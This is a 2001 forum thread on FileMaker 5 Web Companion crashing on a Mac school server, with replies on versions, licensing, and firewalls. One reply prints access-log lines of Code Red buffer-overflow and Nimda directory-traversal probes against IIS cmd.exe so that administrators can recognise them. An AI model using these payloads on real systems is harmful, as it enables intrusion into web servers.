Ok.. School website using Filemaker for Database. We are using version 5. The server it's on is a Dual G4 with over a gig of ram. Filemaker crashes on a daily basis. The computer seems like it should be more than enough to handle the load of the program. Another question... Is the web companion limited to 10 IP requests per 12 hours? How does that work? Thanks!

Hi, the exact versions of Filemaker, the system software and any other applications are important.

I have

v5.0.2 running on OS 9.0 with Webstar 4.2-G4 and

v5.0.3 running on OS 9.1

both are absolutely stable - I just checked the 9.1 machine and it's 81 days since I restarted it.

So far I'm struggling to get Filemaker to run with OS 9.2 - falls over as soon as I get a web call.

As for the connection question, you must use a copy of FMP Unlimited (expensive!) to get over the 10-address limit.

Jeff

Check the access log for 'Code Red' or 'Nimda'. Code Red will definitely knock out Web Companion on a Mac. It happened to us many times until we changed to a firewall capable of inspecting incoming packets. We have been using IPNet Sentry. You will need to use their candidate version for best performance. After installing IPNet Sentry we are still having web serving fail except it happens much less often. Our server has been getting hit heavily by port scans and pings. I suspect these are the cause of our problem. I understand from a member of Filemaker Solution Alliance others are having the same problem. FMP Unlimited 5.5 should be available soon. Hopefully it helps. I plan on migrating to OS X.

Code Red looks like this:

211.104.25.56 - - [29/Sep/2001:15:55:29 -0700] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0 078%u0000%u00=a HTTP/1.0" 404 1362

Nimda looks like this:

61.171.119.190 - - [29/Sep/2001:15:55:54 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1372

61.171.119.190 - - [29/Sep/2001:15:55:54 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1368

61.171.119.190 - - [29/Sep/2001:15:55:54 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1388

61.171.119.190 - - [29/Sep/2001:15:55:55 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1388

61.171.119.190 - - [29/Sep/2001:15:55:55 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1416

61.171.119.190 - - [29/Sep/2001:15:55:56 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1450

61.171.119.190 - - [29/Sep/2001:15:55:56 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1450

61.171.119.190 - - [29/Sep/2001:15:55:56 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1512

Hi, you can avoid this by only serving your Filemaker pages through a webserver using the WSC, preferably by moving Filemaker to a separate box.

I've been seeing a huge number of these in the last few weeks:

10/30/01 02:37:32 ERR! 404 212.210.92.41 "www" :scripts:root.exe 0

10/30/01 02:37:33 ERR! 404 212.210.92.41 "www" :MSADC:root.exe 0

10/30/01 02:37:34 ERR! 404 212.210.92.41 "www" :c:winnt:system32:cmd.exe 0

but our Webstar and Linux servers just ignore them. We did, however get a big patch list through from Microsoft on Friday with a note that said:

'until you have completed these do not put your IIS webserver on the Internet'

Thanks Bill

Jeff